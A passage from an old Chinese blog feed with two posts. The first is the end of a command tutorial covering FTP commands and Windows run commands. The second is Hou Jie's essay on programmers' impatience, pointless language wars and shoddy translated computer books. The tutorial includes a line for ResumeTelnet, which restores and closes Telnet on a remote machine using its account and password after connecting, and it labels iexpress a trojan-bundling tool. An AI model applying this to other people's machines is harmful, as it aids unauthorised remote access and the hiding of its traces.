/>NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。<br /><br />ResumeTelnet.exe (OpenTelnet附带的另一个工具) <br />resumetelnet.exe \\IP　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。<br /><br />6FTP命令详解：<br /><br />FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。<br /><br />FTP的命令行格式为： <br />ftp -v -d -i -n -g [主机名] ，其中<br /><br />-v 显示远程服务器的所有响应信息；<br /><br />-n 限制ftp的自动登录，即不使用；.n etrc文件；<br /><br />-d 使用调试方式；<br /><br />-g 取消全局文件名。<br /><br />FTP使用的内部命令如下(中括号表示可选项):<br /><br />1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip <br />2.$ macro-ame[args]： 执行宏定义macro-name。<br /><br />3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。 <br />4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。<br /><br />5.ascii：使用ascii类型传输方式。<br />6.bell：每个命令执行完毕后计算机响铃一次。<br /><br />7.bin：使用二进制文件传输方式。<br />8.bye：退出ftp会话过程。<br /><br />9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 <br />10.cd remote-dir：进入远程主机目录。<br /><br />11.cdup：进入远程主机目录的父目录。 <br />12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。<br /><br />13.close：中断与远程服务器的ftp会话(与open对应)。 <br />14.cr：使用asscii方式传输文件时，将回车换行转换为回行。<br /><br />15.delete remote-file：删除远程主机文件。 <br />16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。<br /><br />17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 <br />18.disconnection：同close。<br /><br />19.form format：将文件传输方式设置为format，缺省为file方式。 <br />20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。<br /><br />21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 <br />22.hash：每传输1024字节，显示一个hash符号(#)。<br /><br />23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。 <br />24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。<br /><br />25.image：设置二进制传输方式(同binary)。 <br />26.lcd[dir]：将本地工作目录切换至dir。<br /><br />27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。 <br />28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。<br /><br />29.mdelete[remote-file]：删除远程主机文件。 <br />30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。<br /><br />31.mget remote-files：传输多个远程文件。 <br />32.mkdir dir-name：在远程主机中建一目录。<br /><br />33.mls remote-file local-file：同nlist，但可指定多个文件名。 <br />34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。<br /><br />35.modtime file-name：显示远程主机文件的最后修改时间。 <br />36.mput local-file：将多个文件传输至远程主机。<br /><br />37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。<br />38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。<br /><br />39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。<br />40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。<br /><br />41.open host[port]：建立指定ftp服务器连接，可指定连接端口。 <br />42.passive：进入被动传输方式。<br /><br />43.prompt：设置多个文件传输时的交互提示。 <br />44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。<br />45.put local-file[remote-file]：将本地文件local-file传送至远程主机。 <br />46.pwd：显示远程主机的当前工作目录。<br /><br />47.quit：同bye，退出ftp会话。 <br />48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.<br /><br />49.recv remote-file[local-file]：同get。 <br />50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。<br /><br />51.rhelp[cmd-name]：请求获得远程主机的帮助。 <br />52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。<br /><br />53.rename[from][to]：更改远程主机文件名。 <br />54.reset：清除回答队列。<br /><br />55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。 <br />56.rmdir dir-name：删除远程主机目录。<br /><br />57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。 <br />58.send local-file[remote-file]：同put。<br /><br />59.sendport：设置PORT命令的使用。 <br />60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。<br /><br />61.size file-name：显示远程主机文件大小，如：site idle 7200。 <br />62.status：显示当前ftp状态。<br /><br />63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。 <br />64.sunique：将远程主机文件名存储设置为只一(与runique对应)。<br /><br />65.system：显示远程主机的操作系统类型。 <br />66.tenex：将文件传输类型设置为TENEX机的所需的类型。<br /><br />67.tick：设置传输时的字节计数器。 <br />68.trace：设置包跟踪。<br /><br />69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 <br />70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3<br /><br />71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。 <br />72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.<br /><br />73.?[cmd]：同help.</span><br /><span style="FONT-SIZE: 12px">7：计算机运行命令全集 winver---------检查Windows版本<br />wmimgmt.msc----打开windows管理体系结构<br />wupdmgr--------windows更新程序<br />winver---------检查Windows版本<br />wmimgmt.msc----打开windows管理体系结构<br />wupdmgr--------windows更新程序<br />wscript--------windows脚本宿主设置<br />write----------写字板winmsd-----系统信息<br />wiaacmgr-------扫描仪和照相机向导<br />winchat--------XP自带局域网聊天<br />mem.exe--------显示内存使用情况<br />Msconfig.exe---系统配置实用程序 <br />mplayer2-------简易widnows media player<br />mspaint--------画图板<br />mstsc----------远程桌面连接<br />mplayer2-------媒体播放机<br />magnify--------放大镜实用程序<br />mmc------------打开控制台<br />mobsync--------同步命令<br />dxdiag---------检查DirectX信息<br />drwtsn32------ 系统医生<br />devmgmt.msc--- 设备管理器<br />dfrg.msc-------磁盘碎片整理程序<br />diskmgmt.msc---磁盘管理实用程序<br />dcomcnfg-------打开系统组件服务<br />ddeshare-------打开DDE共享设置<br />dvdplay--------DVD播放器<br />net stop messenger-----停止信使服务<br />net start messenger----开始信使服务 <br />notepad--------打开记事本<br />nslookup-------网络管理的工具向导<br />ntbackup-------系统备份和还原<br />narrator-------屏幕"讲述人"<br />ntmsmgr.msc----移动存储管理器<br />ntmsoprq.msc---移动存储管理员操作请求<br />netstat -an----(TC)命令检查接口<br />syncapp--------创建一个公文包<br />sysedit--------系统配置编辑器<br />sigverif-------文件签名验证程序<br />sndrec32-------录音机<br />shrpubw--------创建共享文件夹<br />secpol.msc-----本地安全策略<br />syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码<br />services.msc---本地服务设置<br />Sndvol32-------音量控制程序<br />sfc.exe--------系统文件检查器<br />sfc /scannow---windows文件保护<br />tsshutdn-------60秒倒计时关机命令<br />tourstart------xp简介（安装完成后出现的漫游xp程序）<br />taskmgr--------任务管理器<br />eventvwr-------事件查看器<br />eudcedit-------造字程序 <br />explorer-------打开资源管理器<br />packager-------对象包装程序<br />perfmon.msc----计算机性能监测程序<br />progman--------程序管理器<br />regedit.exe----注册表 <br />rsop.msc-------组策略结果集<br />regedt32-------注册表编辑器<br />rononce -p ----15秒关机<br />regsvr32 /u *.dll----停止dll文件运行<br />regsvr32 /u zipfldr.dll------取消ZIP支持<br />cmd.exe--------CMD命令提示符<br />chkdsk.exe-----Chkdsk磁盘检查<br />certmgr.msc----证书管理实用程序<br />calc-----------启动计算器<br />charmap--------启动字符映射表<br />cliconfg-------SQL SERVER 客户端网络实用程序<br />Clipbrd--------剪贴板查看器<br />conf-----------启动netmeeting<br />compmgmt.msc---计算机管理<br />cleanmgr-------**整理<br />ciadv.msc------索引服务程序<br />osk------------打开屏幕键盘<br />odbcad32-------ODBC数据源管理器<br />oobe/msoobe /a----检查XP是否激活<br />lusrmgr.msc----本机用户和组<br />logoff---------注销命令<br />iexpress-------木马捆绑工具，系统自带<br />Nslookup-------IP地址侦测器<br />fsmgmt.msc-----共享文件夹管理器<br />utilman--------辅助工具管理器<br />gpedit.msc-----组策略</span><br /></span>
		</div>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/12157.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-06-13 11:30 <a href="http://www.cnitblog.com/weitom1982/archive/2006/06/13/12157.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>漫谈程序员与编程</title><link>http://www.cnitblog.com/weitom1982/archive/2006/05/08/10202.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Mon, 08 May 2006 08:28:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/05/08/10202.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/10202.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/05/08/10202.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/10202.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/10202.html</trackback:ping><description><![CDATA[
		<p> </p>
		<p>
				<br />作者简介：侯捷，台湾电脑技术作家，着译评兼擅。常着文章自娱，颇示己志。<br />个人网站：<a href="http://www.jjhou.com">www.jjhou.com</a><br />北京镜站：<a href="http://www.csdn.net/expert/jjhou">www.csdn.net/expert/jjhou</a></p>
		<p>
				<br />--------------------------------------------------------------------------------</p>
		<p>「侯捷观点」进行了4期。通过这个专栏的作用，我开始接触大陆的电脑技术刊物《程序员》和电脑技术网站 CSDN，并累积了相当量的观察和感想。这个专栏前数期谈的都是技术，不是深度书评就是高阶技法。这一期让我们轻松一下，谈谈程序员（programmer）与编程（programming）。其中不少议题起因於读者来信的触发，许多观点我也已经回应於侯捷网站上。所以若干文字可能你曾经在侯捷网站上阅读过。有些看法也许读来刺眼，听来刺耳。但如果大家不把我视为外人，当能平心静气地思考。台湾存在许多相同的问题，我也时常为文针砭。</p>
		<p>有一句话这麽说：如果你想使人发怒，就说谎。如果你想使人大怒，就说实话。说实话的人来了，但愿你心平气和。</p>
		<p>
				<br />急功近利是大忌<br />一位读者写信给我，说他非常着急。他一个月挣300元人民币，家里情况又不好。他希望赶快把 VC/MFC 学会，进入 IT 产业挣钱。信写得很长，看着看着，我也不禁为他着急起来。</p>
		<p>有许多读者，虽然情况没有那麽急迫，燃眉之情却也溢於言表。不外乎都是希望能够尽快把某技术某技术学习起来。</p>
		<p>但是哪一样东西哪一样技术是可以快速学成的呢？能够快速学成的技术，人才也就必然易取易得，根据市场供需法则，也就不可能有很好的报酬。所以诸君当有心理准备，门槛高的，学习代价高，报酬高；门槛低的，学习代价低，报酬低。</p>
		<p>说起来是老生常谈了。这其中最可怕的心理在急功近利。从读者的来信，以及从 CSDN 上的众多帖文，我感觉，许许多多人学习 IT 技术，进入 IT 产业，是认为 IT 产业可以助你脱困，远离贫穷。<br /> </p>
		<p>是的，IT 产业有这个「钱」景，但你得有那份实力。要吃硬核桃，也得先估量自己的牙口。</p>
		<p>「好利」是基本人性，Acer 总裁施振荣先生大力提倡「好逸恶劳」之说，视为人性之本，进步的原动力。谁能说不是呢？好利可以，近利就不妙了。近利代表目光浅短，一切作为都因此只在小格局中打转。</p>
		<p>梨园有句话：要在人前显贵，就要在人後受罪。台上一分钟，台下十年功。老祖宗这方面的教诲太多了，身为中国人的我们，应该都耳熟能详。</p>
		<p>对於心急的朋友，我只有一句话：勿在浮沙筑高台。你明明很清楚这个道理，为什麽临到自己身上，就糊涂了？急是没有用的，浮躁更会坏事。耐住性子扎根基吧。做任何事都要投资，扎根基就是你对自己的未来的投资。如果想知道如何按部就班扎根基，侯捷网站上有一篇文章：「97/06 选义按部 考辞就班」，请你看看。</p>
		<p>
				<br />口舌之战有何益<br />最常在程序技术相关论坛上看到毫无价值而又总是人声鼎沸的口舌之战，就是诸如「VB 和 Delphi 谁好」、「BCB 和 VC 谁优」、「Linus 和 Windows 谁棒」、「Java 和 C++ 谁强」这种题目。每次出场都一片洋洋洒洒，红红火火急速窜升为超酷话题。众人各拥所好，口沫飞扬，但是从来说服不了任何异阵营的人，话都只说给自己人听，给自己人爽。</p>
		<p>这样的论战有何意义？许多人在重组自己的偏见时，还以为自己在思考呢。战到最後，就只是争谁说最後一句话而已。而且，擦伤引起的争吵几乎总是以刺伤结束。</p>
		<p>工具与技术的评比，是一场高水准的演出。真有能力做评比，侯捷是很尊敬的。但是这些各拥所好，口沫飞扬的人，真的对评比两造都有深刻的了解吗？很多时候我们看到的只是无知，而无知是这麽一种东西 : 当你拥有了它，你就拥有巨大的胆量。</p>
		<p>很多人喜欢某种工具，只不过因为那是他的初体验。他玩它玩出了一点心得，可以说出它的某些好，就开始做「评比」了。你只看到牡丹的艳丽，又怎知寒梅的清香，幽兰的空灵？</p>
		<p>绝大多数人使用某种工具，不是因为它最好，不是因为众里寻它千百度，仅仅只是因缘际会。虽然说不同的应用环境选择不同的工具，是最伶俐的作为，但我真的怀疑，在现今工具（以及工具背後反映的技术）如此繁复的时空下，有多少人能够同时精通一个以上的同质工具？追二兔不得一兔，我还是认为你精专一样工具，把它发挥到最高效能，获得的利益多些。被大家拿来评比的，都是市场上的佼佼者，还能差到哪里去？能够两雄相争，必然是在技术面、非技术面（资源的普及、品牌的可靠度）各有一片天，你的评比意义大吗？全面吗？</p>
		<p>大多数人没有能力同时精通两种同质工具，初学者听了网路上不知名大侠的高论，也不可能有所选择（如果有，怕也只是蒙着头瞎选）。这种没有提供数据，评论者也没有显示任何信誉（credit）的论战，没有任何意义，纯粹只为自己爽。浪费网路资源！</p>
		<p>C++ 之父 Bjarne Stroustrup 曾经在他自己的网页上的 FAQ （以及其他许多场合）中回答如下问题。虽然其中谈的是语言，但是扩大到其他层面仍然合适，值得大家好好咀嚼（注：全文由孟岩先生译出，可自侯捷网站浏览）：</p>
		<p>Q: 你愿不愿意将C++与别的语言比较？</p>
		<p>A: 抱歉，我不愿意。你可以在The Design and Evolution of C++的介绍性文字里找到原因。有不少人邀请我把C++与其它语言相比，我已经决定不做这类事情。在此我想重申一个很久以来我一直强调的观点：语言之间的比较没什麽意义，更不公平。主流语言之间的合理比较要耗费很大的精力，多数人不会愿意付出这麽大的代价。另外还需要在广泛的应用领域有充份经验，保持一种不偏不倚客观独立的立场，有 公正无私的信念。...</p>
		<p>人们试图把各种语言拿来比较长短，有些现像我已经一次又一次地注意到，坦率地说我感到担忧。作者们尽力表现出公正无私，但最终都是无可救药地偏向于某一种特定的应用程序，某一种特定的编程风格，或者某一种特定的程序员文化。更糟的是，当某一种语言明显地比另一种语言更出名时，一些不易察觉的偷梁换柱就开始了：比较有名的语言中的缺陷被有意淡化，而且被拐弯抹角地加以掩饰；同样的缺陷在不那麽出名的语言里就被描述为致命伤。同样的道理，较出名的语言的技术资料经常更新，而不太出名的语言的技术资料往往是陈年老酒，试问这种比较有何公正性和意义可言？</p>
		<p>Q: 别人可是经常拿他们的语言与C++比来比去，这让你感到不自在吗？</p>
		<p>A: 当这些评比不够完整，或者出於商业目的，我确实感觉不爽。那些散布最广的比较性评论大多是由某种语言，比方说Z语言的拥护者发表的，其目的是为了证明Z比其它语言好。由於C++被广泛运用，所以C++通常成了黑名单上的头一个名字。通常这类文章被夹在Z语言供货商提供的产品之中，成了其市场竞争的一个手段。令人震惊的是，相当多的此类评论竟然引用的是那些Z语言开发厂商的员工的文章，而这些经不起考验的文章无非想证明Z是最好的。尤其当评论之中确实有一些零零散散的事实...，特意选择出来的事实虽然好像正确，有时却是完全误导。</p>
		<p>以後再看到语言评比文章时，请留心是谁写的，他的表述是不是以事实为依据，以公正为准绳，特别是评判的标准是不是对於所引述的每一种语言来说都公平合理。这可不容易做到。</p>
		<p>我说过了，真正精譬的技术评比，对於相当程度的研究者，是很有价值的，但我很少在论坛上看到精品 ─ 论坛还能有什麽精品，99% 是打屁闲谈没有营养的文字。我们每每在其中看到偏见、我执、以及最後免不了因擦伤而引起的刺伤。这真令人伤感。这些人把时间拿来学习，多好。奉劝各位少花时间瞎打屁，多花时间学习，看些真正的精典，别动不动就在论坛上提问，也别动不动就挂在论坛上看别人的瞎打屁。</p>
		<p>不但评比性的话题，大家喜欢强出头，其他话题，情绪性的反应也很多。中国强盛之道，眼前彷佛全压宝在 IT产业（尤其软件工业）上面。程序员被赋予了过多的期许，程序员也自我膨胀了许多。夹杂着民族主义或个人好恶，看到不满意的人事物，就号召大家「黑（hack）」过去。这是什麽心态？比拳头吗？说实话，就算要比拳头大小，「黑」个网站算是什麽尺寸的拳头？网路是个大暗室，君子不欺暗室。</p>
		<p>
				<br />杂志定位在哪里<br />CSDN上头，前一阵子曾经请大家就《程序员》的定位问题给意见。很热闹。我不知道刊物掌门人在看了那麽多建言之後，有没有收获。猜想是没有   ─ 就算有也恐怕不大。</p>
		<p>就像面对书籍一样，读者最直观的感觉，就是要看他所需要的东西。100个人有100种需求，这样的询问得不出总结。隐性读者、不上网的读者、不投票的读者、不写帖文的读者，你又如何知道他的想法。</p>
		<p>我以为，只需把握一个原则：永远比大众水平高一个档次，扮演引导者，带领读者接触前沿思想与宏观视野，那就是了。读者本身会成长，不论你把刊物定位在实质技术的哪一个层次，都会有人不满足；今年的读者成长了，不见得明年还是你的读者。唯有保持前沿思想与宏观视野，时常导入新的技术形式、新的思维、专家的见解、意见领袖的看法，才能够长期吸引读者，并对许多人以及整个技术开发环境做出长久的贡献。</p>
		<p>美国大物理学家费曼，曾经批评物理课的教学。他说老师老是在传授解物理习题的技巧，而不是从物理的精神层面来启发学生。这一点是不是可以给刊物经营者和刊物读者一点点启发？</p>
		<p>以此观之，就我个人的专长领域，STL 之父访谈录、算法大师 Donald Knuth 采访、C++/OOP 大系、GP/STL 大系、将标准C++视为一个新语言┅以及一些总括性、大局观的文章，是我认为最好的主题。此中有侯捷自己的作品，唔，我向来不客气。</p>
		<p>当然啦，太形而上的东西是不行的，太过抽象的东西不容易被接受。抽象层次愈高，人的自由度愈大，但抽象思考是层次高的人的专利，要普罗大众能够接受，还需具象细节稍做辅助。</p>
		<p>如何长期保持具有前沿思想与宏观视野的稿源？与外国杂志合作是一个既快又好的办法。每一期《程序员》最前数页都有当期重要外文期刊的前沿摘要，可见《程序员》编辑群一直与外文专业期刊保持着阅读上的接触。要挑选合作夥伴，心中一定有谱。</p>
		<p>当然啦，与国外合作涉及经费问题。旁人（尤其读者）很难体会或换位思考经费上的种种困难。就像有人痛心疾首义正词严地埋怨 CSDN 速度慢得像蜗牛，却可曾想过网站的资源从哪里来。向你收费，你接受吗？台湾已经倒掉很多很多家着名的网站，我等着看免费的服务撑到几时。</p>
		<p>要刊物宏观耐读，读者们也得成熟些。一群很好的读者，才拱得起一本很好的刊物。</p>
		<p>下面是一封读者来信：</p>
		<p>现在技术发展太快了，国外（甚至印度）在实现「软件工业化」的时候，大陆（至少我周围是这样）还停留在小作坊手工打造的水平。我认为未来的世界不再属于「个人数字英雄」，软件工程似乎比一两项技术更迫切。以您的大局观和丰富的阅历，对这个问题是否有不同的看法，不知您是否愿意就此从技术（或其他）角度写篇文章发表您的见解。</p>
		<p>软件工程对整个软件工业的提升，至为重要。但是一个程序员要修练到对「软件工程」这个题目感兴趣，非三五载（甚至更多）不为功。我的意思是什麽呢？我的意思是，这类书籍、这类工具、这类网站、这类刊物，在一个嘈嘈切切、急功近利的环境中难有生存空间。这是为什麽蒋涛先生想要将《程序员》杂志导向软件工程主题时，我对他兴起巨大的尊敬与忧虑的原因。</p>
		<p>顺带一提，《程序员》的文字水平一直以来带给我「阅读的乐趣」。这个评语我从来少有机会用在台湾的电脑刊物或电脑书籍上。比起台湾的电脑读物，这里的文字有深度多了。</p>
		<p>
				<br />轻浮躁进没信心<br />只要上网看看程序员出没的论坛，你就会看到一片浮躁与焦虑。反映出来的就是没有信心。</p>
		<p>「C# 推出，Java 将死」，「Java 演进，C++ 将亡」，「.Net 推出，VB程序员死定了」，「Kylix 推出，大夥儿快学」，「Delphi 持续新版，哥儿们别怕」，「我刚学VC，怎麽它就出场了」，「MFC 真的要过时了吗」┅。诸如此类的问题，不知该归类为谣言还是童语？</p>
		<p>很奇怪也很感叹，为什麽大家对这类问题如此感到兴趣。那透露出一种肤浅 ─ 没有深刻了解技术本质，因而汲汲营营慌慌张张惶惶惑惑於新工具、新事务、并且认为新的大概一定都是好的。对自己没有信心，对整个环境也没有信心。</p>
		<p>有深度的程序员绝对不会在意这种事情。当然，并不是早晚三柱香就万事保平安。并不是告诉自己别在乎别在意，就真的能够不在乎不在意了。那必需是发自内心，胸中自有丘壑的一种笃定，有着好的本质学能做靠山。</p>
		<p>台湾 BBS（连线）前阵子也有许多热烈讨论 Java, C#, C++, .NET 的贴信。我把我最欣赏的一封引於下。其最後结语，扩张到任何领域都是合适的。</p>
		<p>发信人: <a href="mailto:algent@kkcity.com.tw">algent@kkcity.com.tw</a> (流云), 看板: programming<br />标  题: 一些想法Re: 不懂,业界一直喊Java,在喊些什麽..."<br />发信站: KKCITY (Sun Feb 18 12:55:49 2001)</p>
		<p>以目前台湾业界的情形来看，C\C++ 应该是想成为一个软体工程师的基本技能；至於 Java，如果熟悉 C++，学 Java 应该花不了一个月的时间。</p>
		<p>以我个人的观点，Java 的 OO 程度是胜於 C++ 的，而且在这个 Internet盛行的年代，效率的瓶颈在於网路本身的频宽而不在单机执行时的效率，Java 所提供的 Collection framework 是非常威力强大的程式设计工具，又内建了对 Multi-thread 程式的支援，丰富的 class library 让人在设计网路、资料库┅的相关软体时无後顾之忧。</p>
		<p>C++ 可能是过去十多年以来最重要的程式语言之一，它的效率显然较Java为佳，但在撰写需要安装在Internet上成千上万种不同厂牌的机器上执行的程式时，相对於Java可能就不是最好的解决方案。</p>
		<p>「目前」不需要以 Java 来开发 DeskTop 上的应用程式，因为「当下」而言 Java 撰写的程式相对於 C++ 会占据更多的记忆体且执行效能不彰。</p>
		<p>我们不能期待免子游得比鱼快，也不能期待鱼飞得比鹰高。</p>
		<p>工程上的需求使得各种场合有不同的适合的程式语言，不必费心去批评 A、推崇B、打压 C。基本的理论比这些事重要多了。</p>
		<p>VB 将死？Java 将亡？C++ 将被 Java 取代...，这很重要吗？我用Java 也用 C++，即使明年它们全都被 Java++、C++++、Lisp++、Forth++取代，何有於我哉？FFT 还是 FFT、Dijkstra algorithm 还是Dijkstra algorithm...还是别太担心这些事了...</p>
		<p>侯捷除了偶在 BBS 上自说自话外，绝少回应或叁与讨论。看了上封信，忍不住回了一帖：</p>
		<p>作者: jjhou (jjhou) 看板: programming<br />标题: 一些想法Re: 不懂,业界一直喊Java,在喊些什麽..."<br />时间: Fri Feb 23 21:12:14 2001</p>
		<p>同意你的看法。写得非常精采。</p>
		<p>人到了一个层次，才会去思考事物的本质是什麽，不被浮面的工具所系绊。</p>
		<p>熟练工具是必要的，但工具的演化汰换，不是大家在这里关起门来喊爽就好。</p>
		<p>Donald Knuth 说：「语言持续演进，那是必要的。不论现在流行什麽语言，你都可以肯定十年二十年之後它不再风光。我总是在自己的书中写些不时髦的东西，但这些东西却值得後代子孙记取。」（注：以上局部是《程序员》2000/12 的译文）</p>
		<p>DDJ 1996/04 p18:<br />"Language keep evolving, and that is necessary. ...Whatever computer language is in fashion, you can guarantee that whitin a decade or two it will be completely out of fashion. In my book, I try to write things that are not trendy, but are things that are going to be worth remembering for other generations."</p>
		<p>
				<br />追求新知固然是一个计算机从业人员该有的态度，但是追求新工具与充实固有知识两者之间，应该取得一个平衡。过犹不及！</p>
		<p>再说，凡走过必留下足迹。你现今的任何努力，只要它是扎扎实实的，就绝不至於落空。技术是有累积性的呀，技术总是触类旁通的呀。你说 MFC 和 OWL 就没有累积性，我说有，message map 的原理不一样吗？framework 的工作原理不一样吗？</p>
		<p>我个人并非任何语言或任何工具或任何技术的狂热者，我是务实派。对於自称熟稔多种（属性不同的）语言的人，我充满敬畏并保持工作上的距离。要精通一个语言，使自己能发挥其最大效能，不是件容易的事，需要不少精力的投注。99.99% 的人都是凡人，身为凡人的我们，把时间用来精通一（或二）种适合其工作性质的「语言」，比泛泛认识多种「语法」，要高明得多，回报也大得多。</p>
		<p>真的，还是别太担心谁将兴起谁将亡的事了吧。</p>
		<p>
				<br />天才的沃土<br />教育永远是我最关心的议题。教育的重要性绝对不亚於产业。没有好的教育，何来好的产业人才？</p>
		<p>学校教育就不提了，那不是侯捷能够着力的地方。虽然我也在大学教书，但一年不过教育数十位学生，影响能有多大？书籍的读者动辄数万人，刊物的读者动辄数十万人，这才是有大影响力的地方。</p>
		<p>自修教育如影随形，打你离开学校就跟随你一辈子，重要性远胜於学校教育。谈到自修，离不开读物 ─ 各种型式的书籍和刊物。在咱们程序员这一行，书籍和刊物的情况如何？</p>
		<p>下面是一封读者来信：</p>
		<p>我记得您说过，到一个地区的书店去逛逛，对这里的IT技术水平就知道大概。这话太得我心了。我学习软件技术5年，花在买书的钱有一万二千（人民币）以上，如今回头来看，绝大部份是垃圾。以前曾经担心：若要到外地工作，这麽多书怎麽带走？现在则是一种心痛的轻松，因为值得带走的书只够一提。学习IT之初，谁不想在产业上做出一番成成绩？但多年之後回首，则恐怕都会为自己当时所处的教育环境痛心。</p>
		<p>关於计算机书籍的浮滥、低劣，我收到太多太多的读者反应了。以上只是冰山一角，有兴趣的读者请上侯捷网站看个饱。有些出版社甚至以出烂书闻名，看看这封信：</p>
		<p>您想必看过蒋先生在《程序员》上写的文章，知道所谓IT出版四大家。蒋先生可能碍於礼仪，有些地方还没讲透。例如其中的XXX出版社，在译作方面现在已经是一块榜样 粗制滥造的榜样。</p>
		<p>再看这封信：</p>
		<p>我在您网站中看到了有关对关於xxx 出版社的评价，深有感慨。其实该出版社是大陆IT业引进外文书籍的鼻祖，我们这一辈程序员(92年以前的)就是读该出版社的译着成长起来的（我至少还有两大纸箱xxx出版社的旧书），在那个时候，差不多所有的计算机类图书都是它们引进并翻译的，现在看来，那个时候的翻译质量差得无法忍受（比Incide VC++ 5/e还差许多），但我们那个时候已经很满足了，毕竟有比没有好。现在大家对xxx出版社的批评，我想是竞争的结果，因为大家看到了更好的译着，有了比较。总而言之，xxx 出版社当年的特点是大量翻译，草草出版，让科技人员能够在尽快的读到优秀作品。这种作风显然已经不合时宜了，或者说它已经完成了它的历史使命。我现在当然也不象从前那样狂买xxx 出版社的书了，因为有了更多的选择。</p>
		<p>这封信让我跌入回忆。台湾也曾有两家出版社，有过同等劣质的作法。这两家恶贯满盈的出版社，一名莹圃，一叫松格。两家都关门了。他们的作法都是，快速而大量地翻译外文书。由於速度快，也由於选材之中不乏好书，所以曾经拥有一定的市场。怎地都关门了？因为读者只能被欺负一次两次，不会永远当傻瓜。这样的出版心态摆明没有长远打算，只想捞一票走人，不关门才怪。</p>
		<p>我们可能因为，垃圾堆中多少捡过一些经过修补尚称堪用的东西，而对刻意制造这些垃圾的人产生一种奇怪的情愫。东西明明不好，但我们从中吸收了一点点养份。该谢他还是该恨他？</p>
		<p>该唾弃他！</p>
		<p>这些商人之所以大量而快速地引进外文书，因为有利可图。有利可图是好事，但他没把他该做的事做好。他们放弃品质而无所惧，因为他们知道，在怎样的时空背景下可以怎样轻松地赚钱。大陆出版界朋友告诉我，谁谁谁（都有名有姓）很轻松地在几年里就这样积聚了几百万人民币的身家。几百万人民币呀，我的天。这也算 IT 产业吧，果然是一片红火，鸡犬升天。</p>
		<p>因努力做事而致富，应该得到我们的赞美和祝福。可这样的出版社，花更大的功夫赚更多更长远的钱他们不要，因为轻松钱赚起来不费劲儿。百分之一的人可能从这些垃圾中吸收到一些养份，百分之百的人从中感受了阅读的痛苦。谁知道从中被误导的人又有百分之几？买书的钱我们没少花，得到的正价值却是那麽少，痛苦指数那麽高。</p>
		<p>这位读者说『总而言之xxx 出版社当年的特点是大量翻译，草草出版，让科技人员能够尽快的读到优秀作品』，又说『它们引进并翻译的，现在看来，翻译质量差得无法忍受』。喔，一本优秀的原作，经过无法忍受的翻译质量洗礼後，还会是一本优秀的作品吗？待人宽厚是美德，但是刻意制造馊水油让人吃坏肚子者，不值得为他们说话。你说『它已经完成了它的历史使命』。不，他们从来就没有历史使命，也没有使命。</p>
		<p>如此「仁厚自持」而且忍耐度奇佳的读者，相当稀少。绝大部份程序员谈到计算机图书，都是斑斑血泪的控诉。《程序员》2001/03 p119 可不就有一篇「计算机图书出版商的陷阱」。</p>
		<p>读者来信写道：</p>
		<p>鲁迅说，未有天才之前，应该要先营造天才的土壤。...您的心情我确实能够深刻理解（这大概就是堆在墙角那几百本垃圾书的最大贡献吧）。</p>
